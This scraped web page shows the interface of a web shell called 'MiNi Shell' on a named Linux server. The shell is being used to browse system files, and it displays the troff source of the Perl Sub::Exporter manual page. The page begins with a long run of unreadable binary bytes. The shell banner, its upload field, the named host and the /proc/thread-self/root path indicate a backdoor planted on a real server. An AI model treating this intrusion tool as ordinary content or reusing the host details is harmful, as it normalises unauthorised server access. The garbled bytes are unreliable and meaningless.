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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5006.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/Sub::Exporter.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "Sub::Exporter 3"
.TH Sub::Exporter 3 "2006-12-05" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
Sub::Exporter \- a sophisticated exporter for custom\-built routines
.SH "VERSION"
.IX Header "VERSION"
version 0.972
.PP
.Vb 1
\&  $Id: /my/cs/projects/export/trunk/lib/Sub/Exporter.pm 28841 2006-12-05T22:44:01.427395Z rjbs  $
.Ve
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
Sub::Exporter must be used in two places.  First, in an exporting module:
.PP
.Vb 11
\&  # in the exporting module:
\&  package Text::Tweaker;
\&  use Sub::Exporter -setup => {
\&    exports => [
\&      qw(squish titlecase) # always works the same way
\&      reformat => \e&build_reformatter, # generator to build exported function
\&      trim     => \e&build_trimmer,
\&      indent   => \e&build_indenter,
\&    ],
\&    collectors => [ 'defaults' ],
\&  };
.Ve
.PP
Then, in an importing module:
.PP
.Vb 6
\&  # in the importing module:
\&  use Text::Tweaker
\&    'squish',
\&    indent   => { margin => 5 },
\&    reformat => { width => 79, justify => 'full', -as => 'prettify_text' },
\&    defaults => { eol => 'CRLF' };
.Ve
.PP
With this setup, the importing module ends up with three routines: \f(CW\*(C`squish\*(C'\fR,
\&\f(CW\*(C`indent\*(C'\fR, and \f(CW\*(C`prettify_text\*(C'\fR.  The latter two have been built to the
specifications of the importer \*(-- they are not just copies of the code in the
exporting package.
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
\&\fB\s-1ACHTUNG\s0!\fR  If you're not familiar with Exporter or exporting, read
Sub::Exporter::Tutorial first!
.Sh "Why Generators?"
.IX Subsection "Why Generators?"
The biggest benefit of Sub::Exporter over existing exporters (including the
ubiquitous Exporter.pm) is its ability to build new coderefs for export, rather
than to simply export code identical to that found in the exporting package.
.PP
If your module's consumers get a routine that works like this:
.PP
.Vb 2
\&  use Data::Analyze qw(analyze);
\&  my $value = analyze($data, $tolerance, $passes);
.Ve
.PP
and they constantly pass only one or two different set of values for the
non\-\f(CW$data\fR arguments, your code can benefit from Sub::Exporter.  By writing a
simple generator, you can let them do this, instead:
.PP
.Vb 3
\&  use Data::Analyze
\&    analyze => { tolerance => 0.10, passes => 10, -as => analyze10 },
\&    analyze => { tolerance => 0.15, passes => 50, -as => analyze50 };
.Ve
.PP
.Vb 1
\&  my $value = analyze10($data);
.Ve
.PP
The generator for that would look something like this:
.PP
.Vb 2
\&  sub build_analyzer {
\&    my ($class, $name, $arg) = @_;
.Ve
.PP
.Vb 4
\&    return sub {
\&      my $data      = shift;
\&      my $tolerance = shift || $arg->{tolerance}; 
\&      my $passes    = shift || $arg->{passes};
.Ve
.PP
.Vb 3
\&      analyze($data, $tolerance, $passes);
\&    }
\&  }
.Ve
.PP
Your module's user now has to do less work to benefit from it \*(-- and remember,
you're often your own user!  Investing in customized subroutines is an
investment in future laziness.
.PP
This also avoids a common form of ugliness seen in many modules: package-level
configuration.  That is, you might have seen something like the above
implemented like so:
.PP
.Vb 3
\&  use Data::Analyze qw(analyze);
\&  $Data::Analyze::default_tolerance = 0.10;
\&  $Data::Analyze::default_passes    = 10;
.Ve
.PP
This might save time, until you have multiple modules using Data::Analyze.
Because there is only one global configuration, they step on each other's toes
and your code begins to have mysterious errors.
.PP
Generators can also allow you to export class methods to be called as
subroutines:
.PP
.Vb 2
\&  package Data::Methodical;
\&  use Sub::Exporter -setup => { exports => { some_method => \e&_curry_class } };
.Ve
.PP
.Vb 4
\&  sub _curry_class {
\&    my ($class, $name) = @_;
\&    sub { $class->$name(@_); };
\&  }
.Ve
.PP
Because of the way that exporters and Sub::Exporter work, any package that
inherits from Data::Methodical can inherit its exporter and override its
\&\f(CW\*(C`some_method\*(C'\fR.  If a user imports \f(CW\*(C`some_method\*(C'\fR from that package, he'll
receive a subroutine that calls the method on the subclass, rather than on
Data::Methodical itself.
.Sh "Other Customizations"
.IX Subsection "Other Customizations"
Building custom routines with generators isn't the only way that Sub::Exporters
allows the importing code to refine its use of the exported routines.  They may
also be renamed to avoid naming collisions.
.PP
Consider the following code:
.PP
.Vb 3
\&  # this program determines to which circle of Hell you will be condemned
\&  use Morality qw(sin virtue); # for calculating viciousness
\&  use Math::Trig qw(:all);     # for dealing with circles
.Ve
.PP
The programmer has inadvertantly imported two \f(CW\*(C`sin\*(C'\fR routines.  The solution,
in Exporter.pm\-based modules, would be to import only one and then call the
other by its fully-qualified name.  Alternately, the importer could write a
routine that did so, or could mess about with typeglobs.
.PP
How much easier to write:
.PP
.Vb 3
\&  # this program determines to which circle of Hell you will be condemned
\&  use Morality qw(virtue), sin => { -as => 'offense' };
\&  use Math::Trig -all => { -prefix => 'trig_' };
.Ve
.PP
and to have at one's disposal \f(CW\*(C`offense\*(C'\fR and \f(CW\*(C`trig_sin\*(C'\fR \*(-- not to mention
\&\f(CW\*(C`trig_cos\*(C'\fR and \f(CW\*(C`trig_tan\*(C'\fR.
.SH "EXPORTER CONFIGURATION"
.IX Header "EXPORTER CONFIGURATION"
You can configure an exporter for your package by using Sub::Exporter like so:
.PP
.Vb 3
\&  package Tools;
\&  use Sub::Exporter
\&    -setup => { exports => [ qw(function1 function2 function3) ] };
.Ve
.PP
This is the simplest way to use the exporter, and is basically equivalent to
this:
.PP
.Vb 3
\&  package Tools;
\&  use base qw(Exporter);
\&  our @EXPORT_OK = qw(function1 function2 function2);
.Ve
.PP
Any basic use of Sub::Exporter will look like this:
.PP
.Vb 2
\&  package Tools;
\&  use Sub::Exporter -setup => \e%config;
.Ve
.PP
The following keys are valid in \f(CW%config\fR:
.PP
.Vb 6
\&  exports - a list of routines to provide for exporting; each routine may be
\&            followed by generator
\&  groups  - a list of groups to provide for exporting; each must be followed by
\&            a list of exports, possibly with arguments for each export
\&  collectors - a list of names into which values are collected for use in
\&               routine generation; each name may be followed by a validator
.Ve
.Sh "Export Configuration"
.IX Subsection "Export Configuration"
The \f(CW\*(C`exports\*(C'\fR list may be provided as an array reference or a hash reference.
The list is processed in such a way that the following are equivalent:
.PP
.Vb 1
\&  { exports => [ qw(foo bar baz), quux => \e&quux_generator ] }
.Ve
.PP
.Vb 2
\&  { exports =>
\&    { foo => undef, bar => undef, baz => undef, quux => \e&quux_generator } }
.Ve
.PP
Generators are coderefs that return coderefs.  They are called with four
parameters:
.PP
.Vb 4
\&  $class - the class whose exporter has been called (the exporting class)
\&  $name  - the name of the export for which the routine is being build
\& \e%arg   - the arguments passed for this export
\& \e%coll  - the collections for this import
.Ve
.PP
Given the configuration in the \*(L"\s-1SYNOPSIS\s0\*(R", the following \f(CW\*(C`use\*(C'\fR statement:
.PP
.Vb 3
\&  use Text::Tweaker
\&    reformat => { -as => 'make_narrow', width => 33 },
\&    defaults => { eol => 'CR' };
.Ve
.PP
would result in the following call to \f(CW&build_reformatter\fR:
.PP
.Vb 6
\&  my $code = build_reformatter(
\&    'Text::Tweaker',
\&    'reformat',
\&    { width => 33 }, # note that -as is not passed in
\&    { defaults => { eol => 'CR' } },
\&  );
.Ve
.PP
The returned coderef (\f(CW$code\fR) would then be installed as \f(CW\*(C`make_narrow\*(C'\fR in the
calling package.
.Sh "Group Configuration"
.IX Subsection "Group Configuration"
The \f(CW\*(C`groups\*(C'\fR list can be passed in the same forms as \f(CW\*(C`exports\*(C'\fR.  Groups must
have values to be meaningful, which may either list exports that make up the
group (optionally with arguments) or may provide a way to build the group.
.PP
The simpler case is the first: a group definition is a list of exports.  Here's
the example that could go in exporter in the \*(L"\s-1SYNOPSIS\s0\*(R".
.PP
.Vb 8
\&  groups  => {
\&    default    => [ qw(reformat) ],
\&    shorteners => [ qw(squish trim) ],
\&    email_safe => [
\&      'indent',
\&      reformat => { -as => 'email_format', width => 72 }
\&    ],
\&  },
.Ve
.PP
Groups are imported by specifying their name prefixed be either a dash or a
colon.  This line of code would import the \f(CW\*(C`shorteners\*(C'\fR group:
.PP
.Vb 1
\&  use Text::Tweaker qw(-shorteners);
.Ve
.PP
Arguments passed to a group when importing are merged into the groups options
and passed to any relevant generators.  Groups can contain other groups, but
looping group structures are ignored.
.PP
The other possible value for a group definition, a coderef, allows one
generator to build several exportable routines simultaneously.  This is useful
when many routines must share enclosed lexical variables.  The coderef must
return a hash reference.  The keys will be used as export names and the values
are the subs that will be exported.
.PP
This example shows a simple use of the group generator.
.PP
.Vb 2
\&  package Data::Crypto;
\&  use Sub::Exporter -setup => { groups => { cipher => \e&build_cipher_group } };
.Ve
.PP
.Vb 5
\&  sub build_cipher_group {
\&    my ($class, $group, $arg) = @_;
\&    my ($encode, $decode) = build_codec($arg->{secret});
\&    return { cipher => $encode, decipher => $decode };
\&  }
.Ve
.PP
The \f(CW\*(C`cipher\*(C'\fR and \f(CW\*(C`decipher\*(C'\fR routines are built in a group because they are
built together by code which encloses their secret in their environment.
.PP
\fIDefault Groups\fR
.IX Subsection "Default Groups"
.PP
If a module that uses Sub::Exporter is \f(CW\*(C`use\*(C'\fRd with no arguments, it will try
to export the group named \f(CW\*(C`default\*(C'\fR.  If that group has not been specifically
configured, it will be empty, and nothing will happen.
.PP
Another group is also created if not defined: \f(CW\*(C`all\*(C'\fR.  The \f(CW\*(C`all\*(C'\fR group
contains all the exports from the exports list.
.Sh "Collector Configuration"
.IX Subsection "Collector Configuration"
The \f(CW\*(C`collectors\*(C'\fR entry in the exporter configuration gives names which, when
found in the import call, have their values collected and passed to every
generator.
.PP
For example, the \f(CW\*(C`build_analyzer\*(C'\fR generator that we saw above could be
rewritten as:
.PP
.Vb 2
\& sub build_analyzer {
\&   my ($class, $name, $arg, $col) = @_;
.Ve
.PP
.Vb 4
\&   return sub {
\&     my $data      = shift;
\&     my $tolerance = shift || $arg->{tolerance} || $col->{defaults}{tolerance}; 
\&     my $passes    = shift || $arg->{passes}    || $col->{defaults}{passes};
.Ve
.PP
.Vb 3
\&     analyze($data, $tolerance, $passes);
\&   }
\& }
.Ve
.PP
That would allow the import to specify global defaults for his imports:
.PP
.Vb 5
\&  use Data::Analyze
\&    'analyze',
\&    analyze  => { tolerance => 0.10, -as => analyze10 },
\&    analyze  => { tolerance => 0.15, passes => 50, -as => analyze50 },
\&    defaults => { passes => 10 };
.Ve
.PP
.Vb 3
\&  my $A = analyze10($data);     # equivalent to analyze($data, 0.10, 10);
\&  my $C = analyze50($data);     # equivalent to analyze($data, 0.15, 10);
\&  my $B = analyze($data, 0.20); # equivalent to analyze($data, 0.20, 10);
.Ve
.PP
If values are provided in the \f(CW\*(C`collectors\*(C'\fR list during exporter setup, they
must be code references, and are used to validate the importer's values.  The
validator is called when the collection is found, and if it returns false, an
exception is thrown.  We could ensure that no one tries to set a global data
default easily:
.PP
.Vb 1
\&  collectors => { defaults => sub { return (exists $_[0]->{data}) ? 0 : 1 } }
.Ve
.PP
Collector coderefs can also be used as hooks to perform arbitrary actions
before anything is exported.
.PP
When the coderef is called, it is passed the value of the collection and a
hashref containing the following entries:
.PP
.Vb 5
\&  name        - the name of the collector
\&  config      - the exporter configuration (hashref)
\&  import_args - the arguments passed to the exporter, sans collections (aref)
\&  class       - the package on which the importer was called
\&  into        - the package into which exports will be exported
.Ve
.SH "CALLING THE EXPORTER"
.IX Header "CALLING THE EXPORTER"
Arguments to the exporter (that is, the arguments after the module name in a
\&\f(CW\*(C`use\*(C'\fR statement) are parsed as follows:
.PP
First, the collectors gather any collections found in the arguments.  Any
reference type may be given as the value for a collector.  For each collection
given in the arguments, its validator (if any) is called.  
.PP
Next, groups are expanded.  If the group is implemented by a group generator,
the generator is called.  There are two special arguments which, if given to a
group, have special meaning:
.PP
.Vb 2
\&  -prefix - a string to prepend to any export imported from this group
\&  -suffix - a string to append to any export imported from this group
.Ve
.PP
Finally, individual export generators are called and all subs, generated or
otherwise, are installed in the calling package.  There is only one special
argument for export generators:
.PP
.Vb 1
\&  -as     - where to install the exported sub
.Ve
.PP
Normally, \f(CW\*(C`\-as\*(C'\fR will contain an alternate name for the routine.  It may,
however, contain a reference to a scalar.  If that is the case, a reference the
generated routine will be placed in the scalar referenced by \f(CW\*(C`\-as\*(C'\fR.  It will
not be installed into the calling package.
.Sh "Special Exporter Arguments"
.IX Subsection "Special Exporter Arguments"
The generated exporter accept some special options, which may be passed as the
first argument, in a hashref.
.PP
These options are:
.PP
.Vb 2
\&  into_level - how far up the caller stack to look for a target (default 0)
\&  into       - an explicit target (package) into which to export routines
.Ve
.PP
Providing both \f(CW\*(C`into_level\*(C'\fR and \f(CW\*(C`into\*(C'\fR will cause an exception to be
thrown.
.SH "SUBROUTINES"
.IX Header "SUBROUTINES"
.Sh "setup_exporter"
.IX Subsection "setup_exporter"
This routine builds and installs an \f(CW\*(C`import\*(C'\fR routine.  It is called with one
argument, a hashref containing the exporter configuration.  Using this, it
builds an exporter and installs it into the calling package with the name
\&\*(L"import.\*(R"  In addition to the normal exporter configuration, a few named
arguments may be passed in the hashref:
.PP
.Vb 3
\&  into       - into what package should the exporter be installed
\&  into_level - into what level up the stack should the exporter be installed
\&  as         - what name should the installed exporter be given
.Ve
.PP
By default the exporter is installed with the name \f(CW\*(C`import\*(C'\fR into the immediate
caller of \f(CW\*(C`setup_exporter\*(C'\fR.  In other words, if your package calls
\&\f(CW\*(C`setup_exporter\*(C'\fR without providing any of the three above arguments, it will
have an \f(CW\*(C`import\*(C'\fR routine installed.
.PP
Providing both \f(CW\*(C`into\*(C'\fR and \f(CW\*(C`into_level\*(C'\fR will cause an exception to be thrown.
.PP
The exporter is built by \f(CW\*(C`\*(L"build_exporter\*(R"\*(C'\fR.
.Sh "build_exporter"
.IX Subsection "build_exporter"
Given a standard exporter configuration, this routine builds and returns an
exporter \*(-- that is, a subroutine that can be installed as a class method to
perform exporting on request.
.PP
Usually, this method is called by \f(CW\*(C`\*(L"setup_exporter\*(R"\*(C'\fR, which then installs
the exporter as a package's import routine.
.Sh "default_exporter"
.IX Subsection "default_exporter"
This is Sub::Exporter's default exporter.  It does what Sub::Exporter promises:
it calls generators with the three normal arguments, then installs the code
into the target package.
.PP
\&\fBWarning!\fR  Its interface isn't really stable yet, so don't rely on it.  It's
only named here so that you can pass it in to the exporter builder.  It will
have a stable interface in the future so that it may be more easily replaced.
.SH "EXPORTS"
.IX Header "EXPORTS"
Sub::Exporter also offers its own exports: the \f(CW\*(C`setup_exporter\*(C'\fR and
\&\f(CW\*(C`build_exporter\*(C'\fR routines described above.  It also provides a special \*(L"setup\*(R"
group, which will setup an exporter using the parameters passed to it.
.SH "COMPARISONS"
.IX Header "COMPARISONS"
There are a whole mess of exporters on the \s-1CPAN\s0.  The features included in
Sub::Exporter set it apart from any existing Exporter.  Here's a summary of
some other exporters and how they compare.
.IP "* Exporter and co." 4
.IX Item "Exporter and co."
This is the standard Perl exporter.  Its interface is a little clunky, but it's
fast and ubiquitous.  It can do some things that Sub::Exporter can't:  it can
export things other than routines, it can import \*(L"everything in this group
except this symbol,\*(R" and some other more esoteric things.  These features seem
to go nearly entirely unused.
.Sp
It always exports things exactly as they appear in the exporting module; it
can't rename or customize routines.  Its groups (\*(L"tags\*(R") can't be nested.
.Sp
Exporter::Lite is a whole lot like Exporter, but it does significantly less:
it supports exporting symbols, but not groups, pattern matching, or negation.
.Sp
The fact that Sub::Exporter can't export symbols other than subroutines is
a good idea, not a missing feature.
.Sp
For simple uses, setting up Sub::Exporter is about as easy as Exporter.  For
complex uses, Sub::Exporter makes hard things possible, which would not be
possible with Exporter. 
.Sp
When using a module that uses Sub::Exporter, users familiar with Exporter will
probably see no difference in the basics.  These two lines do about the same
thing in whether the exporting module uses Exporter or Sub::Exporter.
.Sp
.Vb 2
\&  use Some::Module qw(foo bar baz);
\&  use Some::Module qw(foo :bar baz);
.Ve
.Sp
The definition for exporting in Exporter.pm might look like this:
.Sp
.Vb 4
\&  package Some::Module;
\&  use base qw(Exporter);
\&  our @EXPORT_OK   = qw(foo bar baz quux);
\&  our %EXPORT_TAGS = (bar => [ qw(bar baz) ]);
.Ve
.Sp
Using Sub::Exporter, it would look like this:
.Sp
.Vb 5
\&  package Some::Module;
\&  use Sub::Exporter -setup => {
\&    exports => [ qw(foo bar baz quux) ],
\&    groups  => { bar => [ qw(bar baz) ]}
\&  };
.Ve
.Sp
Sub::Exporter respects inheritance, so that a package may export inherited
routines, and will export the most inherited version.  Exporting methods
without currying away the invocant is a bad idea, but Sub::Exporter allows you
to do just that \*(-- and anyway, there are other uses for this feature, like
packages of exported subroutines which use inheritance specifically to allow
more specialized, but similar, packages.
.Sp
Exporter::Easy provides a wrapper around the standard Exporter.  It makes it
simpler to build groups, but doesn't provide any more functionality.  Because
it is a front-end to Exporter, it will store your exporter's configuration in
global package variables.
.IP "* Attribute-Based Exporters" 4
.IX Item "Attribute-Based Exporters"
Some exporters use attributes to mark variables to export.  Exporter::Simple
supports exporting any kind of symbol, and supports groups.  Using a module
like Exporter or Sub::Exporter, it's easy to look at one place and see what is
exported, but it's impossible to look at a variable definition and see whether
it is exported by that alone.  Exporter::Simple makes this trade in reverse:
each variable's declaration includes its export definition, but there is no one
place to look to find a manifest of exports.
.Sp
More importantly, Exporter::Simple does not add any new features to those of
Exporter.  In fact, like Exporter::Easy, it is just a front-end to Exporter, so
it ends up storing its configuration in global package variables.  (This means
that there is one place to look for your exporter's manifest, actually.  You
can inspect the \f(CW@EXPORT\fR package variables, and other related package
variables, at runtime.)
.Sp
Perl6::Export isn't actually attribute based, but looks similar.  Its syntax
is borrowed from Perl 6, and implemented by a source filter.  It is a prototype
of an interface that is still being designed.  It should probably be avoided
for production work.  On the other hand, Perl6::Export::Attrs implements
Perl 6\-like exporting, but translates it into Perl 5 by providing attributes.
.IP "* Other Exporters" 4
.IX Item "Other Exporters"
Exporter::Renaming wraps the standard Exporter to allow it to export symbols
with changed names.
.Sp
Class::Exporter performs a special kind of routine generation, giving each
importing package an instance of your class, and then exporting the instance's
methods as normal routines.  (Sub::Exporter, of course, can easily emulate this
behavior, as shown above.)
.Sp
Exporter::Tidy implements a form of renaming (using its \f(CW\*(C`_map\*(C'\fR argument)
and of prefixing, and implements groups.  It also avoids using package
variables for its configuration.
.SH "TODO"
.IX Header "TODO"
.IP "* write a set of longer, more demonstrative examples" 4
.IX Item "write a set of longer, more demonstrative examples"
.PD 0
.ie n .IP "* solidify the ""custom exporter"" interface (see &default_exporter)" 4
.el .IP "* solidify the ``custom exporter'' interface (see \f(CW&default_exporter\fR)" 4
.IX Item "solidify the custom exporter interface (see &default_exporter)"
.ie n .IP "* add an ""always"" group" 4
.el .IP "* add an ``always'' group" 4
.IX Item "add an always group"
.PD
.SH "AUTHOR"
.IX Header "AUTHOR"
Ricardo \s-1SIGNES\s0, \f(CW\*(C`<rjbs@cpan.org>\*(C'\fR
.SH "THANKS"
.IX Header "THANKS"
Hans Dieter Pearcey provided helpful advice while I was writing Sub::Exporter.
Ian Langworth and Shawn Sorichetti asked some good questions and hepled me
improve my documentation quite a bit.  Yuval Kogman helped me find a bunch of
little problems.
.PP
Thanks, guys! 
.SH "BUGS"
.IX Header "BUGS"
Please report any bugs or feature requests to \f(CW\*(C`bug\-sub\-exporter@rt.cpan.org\*(C'\fR,
or through the web interface at <http://rt.cpan.org>. I will be notified, and
then you'll automatically be notified of progress on your bug as I make
changes.
.SH "COPYRIGHT"
.IX Header "COPYRIGHT"
Copyright 2006 Ricardo \s-1SIGNES\s0.  This program is free software;  you can
redistribute it and/or modify it under the same terms as Perl itself.

Creat By MiNi SheLL
Email: devilkiller@gmail.com